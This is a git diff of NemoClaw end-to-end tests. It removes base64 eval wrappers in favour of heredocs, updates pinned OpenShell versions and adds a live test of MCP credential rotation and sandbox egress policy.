+    const denied = res.statusCode === 403;
+    process.exit(expectation === "allow" ? (allowed ? 0 : 1) : (denied ? 0 : 1));
+  });
+});
+req.on("error", (error) => {
+  console.error(error.message);
+  const strictDenied = expectation === "deny-strict" && /HTTP\\/1\\.[01] 403 Forbidden/.test(error.message);
+  strictDenied && console.log(JSON.stringify({ status: 403, error: error.message }));
+  process.exit(expectation === "deny" || strictDenied ? 0 : 1);
+});
+req.end(body);
+`;
diff --git a/test/e2e/live/messaging-compatible-endpoint.test.ts b/test/e2e/live/messaging-compatible-endpoint.test.ts
index 16434df7d0..ea48da5728 100644
--- a/test/e2e/live/messaging-compatible-endpoint.test.ts
+++ b/test/e2e/live/messaging-compatible-endpoint.test.ts
@@ -61,10 +61,6 @@ const HOP_BY_HOP_HEADERS = new Set([
   "transfer-encoding",
   "upgrade",
 ]);
-function nodeEvalArg(source: string): string {
-  const encoded = Buffer.from(source, "utf8").toString("base64");
-  return `eval(Buffer.from(${JSON.stringify(encoded)}, "base64").toString("utf8"))`;
-}
 
 interface MockRequestLog {
   method: string;
@@ -413,15 +409,11 @@ console.log(JSON.stringify({
 }));
 process.exit(errors.length ? 1 : 0);
 `;
-  const result = await sandbox.exec(
-    SANDBOX_NAME,
-    ["node", "-e", nodeEvalArg(script), COMPAT_MODEL],
-    {
-      artifactName: "openclaw-config-compatible-endpoint",
-      env: commandEnv(),
-      timeoutMs: 60_000,
-    },
-  );
+  const result = await sandbox.exec(SANDBOX_NAME, ["node", "-e", script, COMPAT_MODEL], {
+    artifactName: "openclaw-config-compatible-endpoint",
+    env: commandEnv(),
+    timeoutMs: 60_000,
+  });
   expect(result.exitCode, resultText(result)).toBe(0);
 }
 
@@ -443,7 +435,7 @@ sock.setTimeout(1000, () => finish("TIMEOUT", 1));
 `;
   let last: ShellProbeResult | undefined;
   for (let attempt = 1; attempt <= 30; attempt += 1) {
-    last = await sandbox.exec(SANDBOX_NAME, ["node", "-e", nodeEvalArg(script)], {
+    last = await sandbox.exec(SANDBOX_NAME, ["node", "-e", script], {
       artifactName: `gateway-ready-compatible-endpoint-${attempt}`,
       env: commandEnv(),
       timeoutMs: 5_000,
diff --git a/test/e2e/live/network-policy.test.ts b/test/e2e/live/network-policy.test.ts
index 19bb5cf18c..44c8966c46 100644
--- a/test/e2e/live/network-policy.test.ts
+++ b/test/e2e/live/network-policy.test.ts
@@ -77,14 +77,6 @@ function sleep(ms: number): Promise<void> {
   return new Promise((resolve) => setTimeout(resolve, ms));
 }
 
-function shellEvalArg(script: string): string {
-  if (script.length === 0) {
-    return "";
-  }
-  const encoded = Buffer.from(script, "utf8").toString("base64");
-  return `printf %s ${encoded} | base64 -d | sh`;
-}
-
 async function runNemoclaw(
   host: HostCliClient,
   args: string[],
@@ -103,7 +95,7 @@ async function sandboxBash(
   script: string,
   options: { artifactName: string; timeoutMs?: number } = { artifactName: "sandbox-bash" },
 ): Promise<ShellProbeResult> {
-  return sandbox.execShell(SANDBOX_NAME, trustedSandboxShellScript(shellEvalArg(script)), {
+  return sandbox.execShell(SANDBOX_NAME, trustedSandboxShellScript(script), {
     artifactName: options.artifactName,
     env: baseEnv(),
     timeoutMs: options.timeoutMs ?? SANDBOX_EXEC_TIMEOUT_MS,
@@ -512,7 +504,7 @@ test("network-policy: restricted sandbox enforces live allow/deny policy probes"
     boundary: "live-sandbox-network-policy",
     contracts: [
       "deny-by-default egress",
-      "OpenShell 0.0.72 preserves the full denied endpoint and policy disposition through nemoclaw logs --tail 50 (#4760)",
+      "OpenShell 0.0.85 preserves the full denied endpoint and policy disposition through nemoclaw logs --tail 50 (#4760)",
       "read-only preset allowlist behavior",
       "weather preset allows wttr.in GET and HEAD but denies POST and unrelated hosts",
       "live policy-add and dry-run behavior",
@@ -549,7 +541,7 @@ test("network-policy: restricted sandbox enforces live allow/deny policy probes"
     timeoutMs: 30_000,
   });
   expect(openshellVersion.exitCode, text(openshellVersion)).toBe(0);
-  expect(text(openshellVersion)).toContain("0.0.72");
+  expect(text(openshellVersion)).toContain("0.0.85");
 
   const apiKey = secrets.required("NVIDIA_INFERENCE_API_KEY");
   cleanup.trackDisposable(`delete OpenShell sandbox ${SANDBOX_NAME}`, () =>
@@ -1003,11 +995,11 @@ printf '\n'
       /STATUS_403|ERROR_|denied|policy|forbidden|not allowed|not permitted/i,
     );
 
-    const webFetchScriptB64 = Buffer.from(buildWebFetchProbeScript(), "utf8").toString("base64");
     const webFetch = await sandboxBash(
       sandbox,
-      `printf '%s' '${webFetchScriptB64}' | base64 -d > /tmp/nemoclaw-web-fetch-e2e.mjs
-nemoclaw-start node /tmp/nemoclaw-web-fetch-e2e.mjs 'http://host.openshell.internal:${approvedServer.port}/' 'http://host.openshell.internal:${deniedServer.port}/' '${marker}' '${denyMarker}'`,
+      `nemoclaw-start node --input-type=module - 'http://host.openshell.internal:${approvedServer.port}/' 'http://host.openshell.internal:${deniedServer.port}/' '${marker}' '${denyMarker}' <<'NEMOCLAW_WEB_FETCH_PROBE'
+${buildWebFetchProbeScript()}
+NEMOCLAW_WEB_FETCH_PROBE`,
       { artifactName: "tc-net-10-openclaw-web-fetch", timeoutMs: SANDBOX_EXEC_TIMEOUT_MS },
     );
     const webFetchText = text(webFetch);
diff --git a/test/e2e/live/openclaw-inference-switch.test.ts b/test/e2e/live/openclaw-inference-switch.test.ts
index fc7f4346ce..68d4a80db6 100644
--- a/test/e2e/live/openclaw-inference-switch.test.ts
+++ b/test/e2e/live/openclaw-inference-switch.test.ts
@@ -206,27 +206,18 @@ async function runNemoclaw(
   });
 }
 
-function singleLineSandboxShellScript(script: string): string {
-  if (!/[\r\n]/.test(script)) return script;
-  return `printf '%s' ${shellQuote(Buffer.from(script, "utf8").toString("base64"))} | base64 -d | sh`;
-}
-
 async function sandboxShell(
   sandbox: SandboxClient,
   home: string,
   script: string,
   options: { artifactName: string; timeoutMs?: number; redactionValues?: string[] },
 ): Promise<ShellProbeResult> {
-  return sandbox.execShell(
-    SANDBOX_NAME,
-    trustedSandboxShellScript(singleLineSandboxShellScript(script)),
-    {
-      artifactName: options.artifactName,
-      env: commandEnv(home),
-      timeoutMs: options.timeoutMs ?? COMMAND_TIMEOUT_MS,
-      redactionValues: options.redactionValues,
-    },
-  );
+  return sandbox.execShell(SANDBOX_NAME, trustedSandboxShellScript(script), {
+    artifactName: options.artifactName,
+    env: commandEnv(home),
+    timeoutMs: options.timeoutMs ?? COMMAND_TIMEOUT_MS,
+    redactionValues: options.redactionValues,
+  });
 }
 
 async function resetOpenClawInferenceSwitchState(
diff --git a/test/e2e/live/openclaw-pairing-helpers.ts b/test/e2e/live/openclaw-pairing-helpers.ts
index b7a46d4571..fd92bf8fed 100644
--- a/test/e2e/live/openclaw-pairing-helpers.ts
+++ b/test/e2e/live/openclaw-pairing-helpers.ts
@@ -16,9 +16,9 @@ import {
   phase6Env,
   resultText,
   runSecondaryCleanup,
-  sandboxEncodedSh,
   sandboxNode,
   sandboxSh,
+  sandboxShWithArgs,
   shellQuote,
 } from "./phase6-messaging-helpers.ts";
 
@@ -572,7 +572,7 @@ export async function issuePairingRequest(options: {
     options.channel === "slack"
       ? [options.fakeSlackPort ?? "", PAIRING_USER.slack]
       : [PAIRING_USER.discord, DISCORD_DM_CHANNEL];
-  return sandboxEncodedSh(options.sandbox, options.sandboxName, script, args, {
+  return sandboxShWithArgs(options.sandbox, options.sandboxName, script, args, {
     artifactName: `${options.channel}-issue-pairing-request`,
     redactionValues: options.redactions,
     timeoutMs: 120_000,
diff --git a/test/e2e/live/openclaw-plugin-runtime-exdev.test.ts b/test/e2e/live/openclaw-plugin-runtime-exdev.test.ts
index 756466d821..bcc2479e4c 100644
--- a/test/e2e/live/openclaw-plugin-runtime-exdev.test.ts
+++ b/test/e2e/live/openclaw-plugin-runtime-exdev.test.ts
@@ -25,6 +25,13 @@ import { expect, test } from "../fixtures/e2e-test.ts";
 import { startFakeOpenAiCompatibleServer } from "../fixtures/fake-openai-compatible.ts";
 import { CLI_ENTRYPOINT, REPO_ROOT } from "../fixtures/paths.ts";
 import { parseJsonFromText } from "./json-envelope.ts";
+import {
+  createOpenShellDriverConfigTestWrapper,
+  type OpenShellComponents,
+  type OpenShellDriverConfigTestWrapper,
+  resolveOpenShellSiblingComponents,
+  withOpenShellDriverConfigWrapperEnv,
+} from "./openshell-driver-config-test-wrapper.ts";
 
 // Keep this contract as a focused live test: build a deterministic custom plugin
 // on top of the complete managed runtime, prove it survives restart/rebuild, then
@@ -60,7 +67,7 @@ assert.equal(
 const NEMOCLAW_RELEASE_TAG = "v0.0.71";
 const NEMOCLAW_RELEASE_COMMIT = "e4b9111f5f0535c2fc3d6fbe8dc8dca101a6fdce";
 const NEMOCLAW_RELEASE_OPENSHELL_VERSION = "0.0.71";
-const CURRENT_OPENSHELL_VERSION = "0.0.72";
+const CURRENT_OPENSHELL_VERSION = "0.0.85";
 const NEMOCLAW_SOURCE_REPOSITORY = "https://github.com/NVIDIA/NemoClaw.git";
 const SANDBOX_BASE_IMAGE_REF = "ghcr.io/nvidia/nemoclaw/sandbox-base:v0.0.71";
 const TOOL_DISCLOSURE_ENV_REFERENCE = "${NEMOCLAW_TOOL_DISCLOSURE}";
@@ -170,54 +177,16 @@ async function ignoreCleanupError(run: () => Promise<unknown>): Promise<void> {
   }
 }
 
-type OpenShellTmpfsWrapper = {
-  directory: string;
-  executable: string;
-  remove(): void;
-};
-
-type PinnedOpenShellComponents = {
-  cli: string;
-  gateway: string;
-  sandbox: string;
-};
+type OpenShellTmpfsWrapper = OpenShellDriverConfigTestWrapper;
+type PinnedOpenShellComponents = OpenShellComponents;
 
 function createOpenShellTmpfsWrapper(realOpenshellPath: string): OpenShellTmpfsWrapper {
-  if (!path.isAbsolute(realOpenshellPath)) {
-    throw new Error("real OpenShell path must be absolute");
-  }
-  fs.accessSync(realOpenshellPath, fs.constants.X_OK);
-
-  const directory = fs.mkdtempSync(path.join(os.tmpdir(), "nemoclaw-exdev-openshell-wrapper-"));
-  const executable = path.join(directory, "openshell");
-  const delegatedCapabilityComments = REQUIRED_OPENSHELL_MCP_FEATURES.map((marker) => {
-    assert.match(marker, /^[A-Za-z0-9_-]+$/, "delegated OpenShell capability marker must be safe");
-    return `${DELEGATED_CAPABILITY_COMMENT_PREFIX}${marker}`;
-  }).join("\n");
-  const script = `#!/bin/sh
-${delegatedCapabilityComments}
-set -eu
-if [ "$#" -ge 2 ] && [ "$1" = sandbox ] && [ "$2" = create ]; then
-  shift 2
-  for argument in "$@"; do
-    case "$argument" in
-      --driver-config-json|--driver-config-json=*)
-        printf '%s\n' 'refusing duplicate --driver-config-json in EXDEV test wrapper' >&2
-        exit 64
-        ;;
-    esac
-  done
-  exec ${shellQuote(realOpenshellPath)} sandbox create --driver-config-json ${shellQuote(EXDEV_TMPFS_DRIVER_CONFIG)} "$@"
-fi
-exec ${shellQuote(realOpenshellPath)} "$@"
-`;
-  fs.writeFileSync(executable, script, { encoding: "utf8", mode: 0o700 });
-
-  return {
-    directory,
-    executable,
-    remove: () => fs.rmSync(directory, { recursive: true, force: true }),
-  };
+  return createOpenShellDriverConfigTestWrapper({
+    delegatedCapabilityMarkers: REQUIRED_OPENSHELL_MCP_FEATURES,
+    driverConfigJson: EXDEV_TMPFS_DRIVER_CONFIG,
+    label: "exdev",
+    realOpenshellPath,
+  });
 }
 
 function withOpenShellWrapperEnv(
@@ -225,29 +194,11 @@ function withOpenShellWrapperEnv(
   wrapper: OpenShellTmpfsWrapper,
   components: PinnedOpenShellComponents,
 ): NodeJS.ProcessEnv {
-  return {
-    ...env,
-    PATH: `${wrapper.directory}${path.delimiter}${env.PATH ?? ""}`,
-    NEMOCLAW_OPENSHELL_BIN: wrapper.executable,
-    NEMOCLAW_OPENSHELL_GATEWAY_BIN: components.gateway,
-    NEMOCLAW_OPENSHELL_SANDBOX_BIN: components.sandbox,
-  };
+  return withOpenShellDriverConfigWrapperEnv(env, wrapper, components);
 }
 
 function resolvePinnedOpenShellComponents(openshellPath: string): PinnedOpenShellComponents {
-  const cli = fs.realpathSync(openshellPath);
-  fs.accessSync(cli, fs.constants.X_OK);
-  const installDirectory = path.dirname(cli);
-  const canonicalSibling = (name: string): string => {
-    const sibling = fs.realpathSync(path.join(installDirectory, name));
-    fs.accessSync(sibling, fs.constants.X_OK);
-    return sibling;
-  };
-  return {
-    cli,
-    gateway: canonicalSibling("openshell-gateway"),
-    sandbox: canonicalSibling("openshell-sandbox"),
-  };
+  return resolveOpenShellSiblingComponents(openshellPath);
 }
 
 async function installAndResolvePinnedOpenShell(
@@ -639,7 +590,6 @@ type WeatherRuntimeProof = {
 };
 
 function gatewayCatalogCallScript(params: Record<string, unknown>) {
-  const source = Buffer.from(GATEWAY_CATALOG_CALL_SOURCE, "utf8").toString("base64");
   const encodedParams = Buffer.from(JSON.stringify(params), "utf8").toString("base64");
   return trustedSandboxShellScript(`set -eu
 . /tmp/nemoclaw-proxy-env.sh
@@ -647,7 +597,9 @@ export HOME=/sandbox
 export NO_PROXY=127.0.0.1,localhost
 export no_proxy="$NO_PROXY"
 export NEMOCLAW_E2E_GATEWAY_PARAMS_B64='${encodedParams}'
-exec node --input-type=module --eval 'await import("data:text/javascript;base64," + process.argv[1])' '${source}'`);
+exec node --input-type=module <<'NEMOCLAW_GATEWAY_CATALOG_PROBE'
+${GATEWAY_CATALOG_CALL_SOURCE}
+NEMOCLAW_GATEWAY_CATALOG_PROBE`);
 }
 
 async function assertWeatherPluginRuntime(
@@ -886,9 +838,7 @@ replaceNodeModulesDir('/sandbox/.openclaw/plugin-runtime-deps/exdev-guard/node_m
 console.log('runtime deps replacement completed');
 NODE`;
 
-const runtimeDepsReplacementProbe = trustedSandboxShellScript(
-  `printf '%s' '${Buffer.from(runtimeDepsReplacementProbeSource).toString("base64")}' | base64 -d > /tmp/nemoclaw-exdev-guard.sh && sh /tmp/nemoclaw-exdev-guard.sh`,
-);
+const runtimeDepsReplacementProbe = trustedSandboxShellScript(runtimeDepsReplacementProbeSource);
 
 test("a custom OpenClaw plugin survives restart, recreation, and rebuild without EXDEV failures (#6108)", {
   timeout: ONBOARD_TIMEOUT_MS * 3 + REBUILD_TIMEOUT_MS + 15 * 60_000,
@@ -900,7 +850,7 @@ test("a custom OpenClaw plugin survives restart, recreation, and rebuild without
     contract: [
       "the exact NemoClaw v0.0.71 checkout installs, builds, and reports its tagged CLI version",
       "the tagged CLI uses OpenShell 0.0.71 with matching source, base image, and OpenClaw runtime",
-      "the current CLI reinstalls OpenShell 0.0.72 before current lifecycle coverage",
+      "the current CLI reinstalls OpenShell 0.0.85 before current lifecycle coverage",
       "release-matched peer/dev dependencies prune private OpenClaw and link the host runtime",
       "gateway log, runtime inspection, tools.catalog, and tools.invoke prove weather/get_weather",
       "custom-plugin v1 survives restart, recreation installs v2, and rebuild installs v3",
@@ -1011,7 +961,7 @@ test("a custom OpenClaw plugin survives restart, recreation, and rebuild without
     "v0-0-71",
     NEMOCLAW_RELEASE_OPENSHELL_VERSION,
   );
-  // OpenShell 0.0.71 predates the current 0.0.72 MCP capability marker.
+  // OpenShell 0.0.71 predates the current 0.0.85 MCP capability marker.
   // The tagged CLI's own onboarding preflight below owns this compatibility check.
   const taggedOpenShellWrapper = createOpenShellTmpfsWrapper(taggedPinnedOpenshell.cli);
   cleanup.add("remove v0.0.71 EXDEV OpenShell PATH wrapper", taggedOpenShellWrapper.remove);
diff --git a/test/e2e/live/openclaw-skill-cli.test.ts b/test/e2e/live/openclaw-skill-cli.test.ts
index 59534b16c1..460122a53a 100644
--- a/test/e2e/live/openclaw-skill-cli.test.ts
+++ b/test/e2e/live/openclaw-skill-cli.test.ts
@@ -37,13 +37,6 @@ function isEndpointRateLimited(text: string): boolean {
   return /HTTP 429|rate limit|too many requests/i.test(text);
 }
 
-function singleLineSandboxScript(script: string) {
-  if (/[\r\n]/.test(script)) {
-    throw new Error("openshell sandbox exec command args must stay single-line");
-  }
-  return trustedSandboxShellScript(script);
-}
-
 function testEnv(home: string, extra: NodeJS.ProcessEnv = {}): NodeJS.ProcessEnv {
   return testHomeEnvironment(home, extra);
 }
@@ -113,7 +106,7 @@ async function expectSandboxShellZero(
   artifactName: string,
   env: NodeJS.ProcessEnv,
 ): Promise<ShellProbeResult> {
-  const result = await sandbox.execShell(SANDBOX_NAME, singleLineSandboxScript(script), {
+  const result = await sandbox.execShell(SANDBOX_NAME, trustedSandboxShellScript(script), {
     artifactName,
     env,
     timeoutMs: SANDBOX_EXEC_TIMEOUT_MS,
diff --git a/test/e2e/live/openshell-allowed-ips-rebinding.ts b/test/e2e/live/openshell-allowed-ips-rebinding.ts
index 73593e76d1..a55e9a4b4e 100644
--- a/test/e2e/live/openshell-allowed-ips-rebinding.ts
+++ b/test/e2e/live/openshell-allowed-ips-rebinding.ts
@@ -115,10 +115,10 @@ export function buildRawOpenShellAllowedIpsRebindingPolicy(
  * This intentionally bypasses every NemoClaw MCP command and agent adapter.
  *
  * Pinned resolve-validate-connect implementation:
- * https://github.com/NVIDIA/OpenShell/blob/8cb16de9eae4c44d7d31e1493747d8c10abb5963/crates/openshell-supervisor-network/src/proxy.rs#L2476-L2502
- * resolves once, #L2527-L2567 validates that address list, #L2622-L2630
- * returns it unchanged, and #L3885-L3893 plus #L4123-L4125 carry that same
- * list through the explicit HTTP-forward connection path used by this probe.
+ * https://github.com/NVIDIA/OpenShell/blob/3dee5570a46076a57a3b056f35f35ebc0861ac85/crates/openshell-supervisor-network/src/proxy.rs#L2648-L2674
+ * resolves once, #L2699-L2739 plus #L2794-L2803 validate and return that
+ * address list, and #L4093-L4100 plus #L4340-L4342 carry that same list through
+ * the explicit HTTP-forward connection path used by this probe.
  */
 export function buildRawOpenShellAllowedIpsRebindingProbeScript(targetUrl: string): string {
   const body = JSON.stringify({ jsonrpc: "2.0", id: 1, method: "tools/list" });
diff --git a/test/e2e/live/openshell-credential-generation-window.test.ts b/test/e2e/live/openshell-credential-generation-window.test.ts
new file mode 100644
index 0000000000..3bb6cabd98
--- /dev/null
+++ b/test/e2e/live/openshell-credential-generation-window.test.ts
@@ -0,0 +1,914 @@
+// SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved.
+// SPDX-License-Identifier: Apache-2.0
+
+import {
+  buildMcpCredentialDetachedCommand,
+  buildMcpCredentialRevisionObservationCommand,
+} from "../../../src/lib/actions/sandbox/mcp-bridge-provider-readiness.ts";
+import { buildAvailabilityProbeEnv } from "../fixtures/availability-env.ts";
+import { assertCleanupSucceededOrAbsent } from "../fixtures/cleanup-resources.ts";
+import { assertExitZero as expectExitZero, resultText } from "../fixtures/clients/command.ts";
+import type { HostCliClient } from "../fixtures/clients/host.ts";
+import { type SandboxClient, trustedSandboxShellScript } from "../fixtures/clients/sandbox.ts";
+import { expect, test } from "../fixtures/e2e-test.ts";
+import { MCP_BRIDGE_TEST_CREDENTIALS } from "../fixtures/mcp-bridge-credentials.ts";
+import type { ShellProbeResult } from "../fixtures/shell-probe.ts";
+import { hostAddressForSandbox } from "./mcp-bridge-sandbox.ts";
+import {
+  type FakeMcpHttpsServer,
+  startCompatibleMock,
+  startFakeMcpHttpsServer,
+  startPublicMcpHttpsTunnel,
+} from "./mcp-bridge-servers.ts";
+import {
+  buildCredentialWindowChildScript,
+  buildCredentialWindowOneShotScript,
+  buildCredentialWindowProviderUpdateArgs,
+  CREDENTIAL_WINDOW_ENV_NAME,
+  CREDENTIAL_WINDOW_EXPIRY_DELAY_MS,
+  CREDENTIAL_WINDOW_PATHS,
+  CREDENTIAL_WINDOW_REQUEST_PREFIX,
+  CREDENTIAL_WINDOW_ROTATION_COUNT,
+  CREDENTIAL_WINDOW_STEPS,
+  type CredentialWindowRequestStep,
+  credentialWindowRequestId,
+  credentialWindowSecrets,
+  OPENSHELL_RETAINED_CREDENTIAL_GENERATIONS,
+} from "./openshell-credential-generation-window.ts";
+
+const SANDBOX_NAME = "e2e-mcp-credential-window";
+const SERVER_NAME = "fake";
+const COMPATIBLE_KEY = MCP_BRIDGE_TEST_CREDENTIALS.compatibleEndpoint;
+const COMPATIBLE_MODEL = "mock/mcp-credential-window";
+const BRIDGE_ALREADY_ABSENT =
+  /No MCP servers are registered|No MCP server '.+' is registered|MCP server '.+' not found/iu;
+
+interface CredentialWindowRequest {
+  readonly auth: string;
+  readonly body: string;
+}
+
+interface CredentialWindowChildResult {
+  readonly revision: string;
+  readonly outcomes: Array<{ step: string; outcome: string }>;
+}
+
+function openshellEnv(): NodeJS.ProcessEnv {
+  return {
+    ...buildAvailabilityProbeEnv(),
+    OPENSHELL_GATEWAY: process.env.OPENSHELL_GATEWAY ?? "nemoclaw",
+  };
+}
+
+function requestId(body: string): string | null {
+  try {
+    const parsed = JSON.parse(body) as { id?: unknown };
+    return typeof parsed.id === "string" ? parsed.id : null;
+  } catch {
+    return null;
+  }
+}
+
+function parseLastJsonLine<T>(output: string): T {
+  return JSON.parse(output.trim().split(/\r?\n/u).at(-1) ?? "") as T;
+}
+
+function requestEvidence(
+  fakeMcp: FakeMcpHttpsServer,
+  id: string,
+  expectedSecret: string,
+): { seen: boolean; credentialRewritten: boolean; placeholderAbsent: boolean } {
+  const request = fakeMcp.requests.find((candidate) => requestId(candidate.body) === id);
+  return {
+    seen: request !== undefined,
+    credentialRewritten: request?.auth === `Bearer ${expectedSecret}`,
+    placeholderAbsent: !request?.auth.includes("openshell:resolve:env"),
+  };
+}
+
+async function cleanupBridge(host: HostCliClient): Promise<void> {
+  const result = await host.nemoclaw([SANDBOX_NAME, "mcp", "remove", SERVER_NAME, "--force"], {
+    artifactName: "cleanup-credential-window-mcp-bridge",
+    env: buildAvailabilityProbeEnv(),
+    timeoutMs: 4 * 60_000,
+  });
+  assertCleanupSucceededOrAbsent(result, BRIDGE_ALREADY_ABSENT, "cleanup credential-window MCP");
+}
+
+async function observeFreshRevision(sandbox: SandboxClient, artifactName: string): Promise<string> {
+  const result = await sandbox.execShell(
+    SANDBOX_NAME,
+    trustedSandboxShellScript(
+      buildMcpCredentialRevisionObservationCommand(CREDENTIAL_WINDOW_ENV_NAME),
+    ),
+    {
+      artifactName,
+      env: openshellEnv(),
+      timeoutMs: 60_000,
+    },
+  );
+  expectExitZero(result, artifactName);
+  const revision = result.stdout.trim();
+  expect(revision, `${artifactName} must return only a bounded revision`).toMatch(
+    /^v[0-9]{1,20}$/u,
+  );
+  return revision;
+}
+
+async function observeDistinctFreshRevision(
+  sandbox: SandboxClient,
+  previousRevision: string,
+  artifactName: string,
+): Promise<string> {
+  let revision = previousRevision;
+  await expect
+    .poll(
+      async () => {
+        revision = await observeFreshRevision(sandbox, artifactName);
+        return revision;
+      },
+      {
+        interval: 1_000,
+        timeout: 60_000,
+        message: `${artifactName} distinct credential revision`,
+      },
+    )
+    .not.toBe(previousRevision);
+  return revision;
+}
+
+async function expectFreshCredentialAbsent(
+  sandbox: SandboxClient,
+  artifactName: string,
+): Promise<void> {
+  await expect
+    .poll(
+      async () => {
+        const result = await sandbox.execShell(
+          SANDBOX_NAME,
+          trustedSandboxShellScript(buildMcpCredentialDetachedCommand(CREDENTIAL_WINDOW_ENV_NAME)),
+          {
+            artifactName,
+            env: openshellEnv(),
+            timeoutMs: 60_000,
+          },
+        );
+        return result.exitCode;
+      },
+      {
+        interval: 1_000,
+        timeout: 60_000,
+        message: `${artifactName} fresh credential absence`,
+      },
+    )
+    .toBe(0);
+}
+
+async function writeControl(
+  sandbox: SandboxClient,
+  step: string,
+  artifactName: string,
+): Promise<void> {
+  const result = await sandbox.exec(
+    SANDBOX_NAME,
+    [
+      "sh",
+      "-c",
+      'umask 077; rm -f "$2"; printf "%s\\n" "$3" > "$1"',
+      "credential-window-control",
+      CREDENTIAL_WINDOW_PATHS.control,
+      CREDENTIAL_WINDOW_PATHS.acknowledgement,
+      step,
+    ],
+    {
+      artifactName,
+      env: openshellEnv(),
+      timeoutMs: 60_000,
+    },
+  );
+  expectExitZero(result, artifactName);
+}
+
+async function readSandboxFile(
+  sandbox: SandboxClient,
+  file: string,
+  artifactName: string,
+): Promise<ShellProbeResult> {
+  return sandbox.exec(SANDBOX_NAME, ["cat", file], {
+    artifactName,
+    env: openshellEnv(),
+    timeoutMs: 60_000,
+  });
+}
+
+async function waitForReadyRevision(sandbox: SandboxClient): Promise<string> {
+  await expect
+    .poll(
+      async () => {
+        const result = await readSandboxFile(
+          sandbox,
+          CREDENTIAL_WINDOW_PATHS.ready,
+          "credential-window-old-child-ready-poll",
+        );
+        return result.exitCode === 0 ? result.stdout.trim() : "";
+      },
+      {
+        interval: 500,
+        timeout: 60_000,
+        message: "old credential-window child readiness",
+      },
+    )
+    .toMatch(/^\{"revision":"v[0-9]{1,20}"\}$/u);
+  const result = await readSandboxFile(
+    sandbox,
+    CREDENTIAL_WINDOW_PATHS.ready,
+    "credential-window-old-child-ready",
+  );
+  expectExitZero(result, "read old credential-window child revision");
+  return (JSON.parse(result.stdout) as { revision: string }).revision;
+}
+
+async function waitForAcknowledgement(
+  sandbox: SandboxClient,
+  step: CredentialWindowRequestStep,
+  outcome: "allowed" | "denied",
+): Promise<void> {
+  const expected = JSON.stringify({ step, outcome });
+  await expect
+    .poll(
+      async () => {
+        const result = await readSandboxFile(
+          sandbox,
+          CREDENTIAL_WINDOW_PATHS.acknowledgement,
+          `credential-window-${step}-ack-poll`,
+        );
+        return result.exitCode === 0 ? result.stdout.trim() : "";
+      },
+      {
+        interval: 500,
+        timeout: 90_000,
+        message: `old child acknowledgement for ${step}`,
+      },
+    )
+    .toBe(expected);
+}
+
+async function rotateCredential(
+  host: HostCliClient,
+  fakeMcp: FakeMcpHttpsServer,
+  secret: string,
+  generation: number,
+  allSecrets: readonly string[],
+): Promise<void> {
+  fakeMcp.setSecret(secret);
+  const result = await host.nemoclaw([SANDBOX_NAME, "mcp", "restart", SERVER_NAME], {
+    artifactName: `credential-window-rotate-${generation}`,
+    env: {
+      ...buildAvailabilityProbeEnv(),
+      [CREDENTIAL_WINDOW_ENV_NAME]: secret,
+    },
+    redactionValues: [...allSecrets],
+    timeoutMs: 4 * 60_000,
+  });
+  expectExitZero(result, `credential-window rotation ${generation}`);
+}
+
+async function updateProviderCredential(
+  sandbox: SandboxClient,
+  providerName: string,
+  secret: string,
+  expiresAtMs: number,
+  allSecrets: readonly string[],
+  artifactName: string,
+): Promise<void> {
+  const result = await sandbox.openshell(
+    buildCredentialWindowProviderUpdateArgs(providerName, expiresAtMs, secret.length === 0),
+    {
+      artifactName,
+      env: {
+        ...openshellEnv(),
+        ...(secret.length > 0 ? { [CREDENTIAL_WINDOW_ENV_NAME]: secret } : {}),
+      },
+      redactionValues: [...allSecrets],
+      timeoutMs: 90_000,
+    },
+  );
+  expectExitZero(result, artifactName);
+  expect(resultText(result)).toMatch(/Updated provider/iu);
+}
+
+async function runFreshRequest(
+  sandbox: SandboxClient,
+  mcpUrl: string,
+  id: string,
+  allSecrets: readonly string[],
+  artifactName: string,
+): Promise<{ revision: string; status: number }> {
+  const result = await sandbox.exec(
+    SANDBOX_NAME,
+    ["nemoclaw-start", "node", "-e", buildCredentialWindowOneShotScript(), mcpUrl, id],
+    {
+      artifactName,
+      env: openshellEnv(),
+      redactionValues: [...allSecrets],
+      timeoutMs: 90_000,
+    },
+  );
+  expectExitZero(result, artifactName);
+  return parseLastJsonLine<{
+    revision: string;
+    status: number;
+  }>(result.stdout);
+}
+
+test("openshell-credential-generation-window", { timeout: 60 * 60_000 }, async ({
+  artifacts,
+  cleanup,
+  host,
+  sandbox,
+}) => {
+  expect(process.env.NEMOCLAW_OPENSHELL_EXACT_MAIN_PROOF).toBe("1");
+  expect(CREDENTIAL_WINDOW_ROTATION_COUNT).toBeGreaterThan(
+    OPENSHELL_RETAINED_CREDENTIAL_GENERATIONS,
+  );
+
+  const allSecrets = credentialWindowSecrets();
+  const initialSecret = allSecrets[0]!;
+  const rotationSecrets = allSecrets.slice(1, CREDENTIAL_WINDOW_ROTATION_COUNT + 1);
+  const expirySecret = allSecrets.at(-2)!;
+  const restartSecret = allSecrets.at(-1)!;
+  artifacts.addRedactionValues([COMPATIBLE_KEY, ...allSecrets]);
+  await artifacts.target.declare({
+    id: "openshell-credential-generation-window",
+    contracts: [
+      "OpenShell f27ff150 retained credential generations",
+      "NemoClaw MCP detach, restart, and rebuild lifecycle",
+    ],
+    sourceRevision: "3dee5570a46076a57a3b056f35f35ebc0861ac85",
+  });
+
+  const compatibleMock = await startCompatibleMock({
+    apiKey: COMPATIBLE_KEY,
+    model: COMPATIBLE_MODEL,
+  });
+  cleanup.add("stop credential-window compatible endpoint", () => compatibleMock.close());
+  const fakeMcp = await startFakeMcpHttpsServer({ secret: initialSecret });
+  cleanup.add("stop credential-window MCP endpoint", () => fakeMcp.close());
+  const tunnel = await startPublicMcpHttpsTunnel({
+    cleanup,
+    label: "credential-window MCP endpoint",
+    server: fakeMcp,
+  });
+  const hostAddress = await hostAddressForSandbox(host);
+  const endpointUrl = `http://${hostAddress}:${compatibleMock.port}/v1`;
+  await host.cleanupSandbox(SANDBOX_NAME, {
+    artifactName: "precleanup-credential-window-sandbox",
+    timeoutMs: 15 * 60_000,
+  });
+  cleanup.trackSandbox(host, SANDBOX_NAME, {
+    artifactName: "cleanup-credential-window-sandbox",
+    timeoutMs: 15 * 60_000,
+  });
+  const onboard = await host.nemoclaw(
+    ["onboard", "--non-interactive", "--yes", "--yes-i-accept-third-party-software"],
+    {
+      artifactName: "onboard-credential-window-sandbox",
+      env: {
+        ...buildAvailabilityProbeEnv(),
+        COMPATIBLE_API_KEY: COMPATIBLE_KEY,
